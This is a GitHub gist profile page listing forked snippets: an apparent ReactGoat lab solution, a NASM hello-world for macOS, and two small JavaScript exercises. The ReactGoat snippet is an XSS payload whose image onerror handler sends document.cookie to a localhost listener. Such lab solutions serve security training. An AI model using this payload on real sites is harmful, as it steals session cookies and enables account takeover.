Skip to content

Instantly share code, notes, and snippets.

View seisvelas's full-sized avatar
🦊
const sh = network.pop(shell); sh.write({recipient:'admin'}, 'nice system!');

Xandre V seisvelas

🦊
const sh = network.pop(shell); sh.write({recipient:'admin'}, 'nice system!');
View GitHub Profile
@seisvelas
seisvelas / level0.html
Last active March 18, 2020 00:30 — forked from vxermx/level0.html
ReactGoat Solutions
<img
src='/fake'
onerror="if (document.cookie !=='lol') {var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:9001/'+document.cookie); xhr.send();}"
/>
@seisvelas
seisvelas / 32.asm
Created March 3, 2020 18:42 — forked from FiloSottile/32.asm
NASM Hello World for x86 and x86_64 Intel Mac OS X (get yourself an updated nasm with brew)
; /usr/local/bin/nasm -f macho 32.asm && ld -macosx_version_min 10.7.0 -o 32 32.o && ./32
global start
section .text
start:
push dword msg.len
push dword msg
push dword 1
mov eax, 4
@seisvelas
seisvelas / mirrorChunk.js
Created November 27, 2019 19:33 — forked from pancho508/mirrorChunk.js
More Alex & Pancho pair programming
// https://www.codewars.com/kata/5852d0d463adbd39670000a1/solutions/javascript
function goLeft(arr, n) {
let chunk = [];
if (n >= arr.length) {
return [arr];
}
let endIndex = arr.length - 1;
for (let i = n - 1; i >= 0; i--) {
@seisvelas
seisvelas / fib.js
Last active November 23, 2019 23:03 — forked from pancho508/fib.js
I wrote these at Pancho's to show him how ridiculously versatile .reduce() can be.
const range = (n) => [...Array(n).keys()];
const fib = (n) => range(n).slice(1).reduce(
(acc, value) => {
console.log([acc[1], acc[0]+acc[1]]);
return [acc[1], acc[0]+acc[1]]
}
, [0, 1])[0]
fib(5)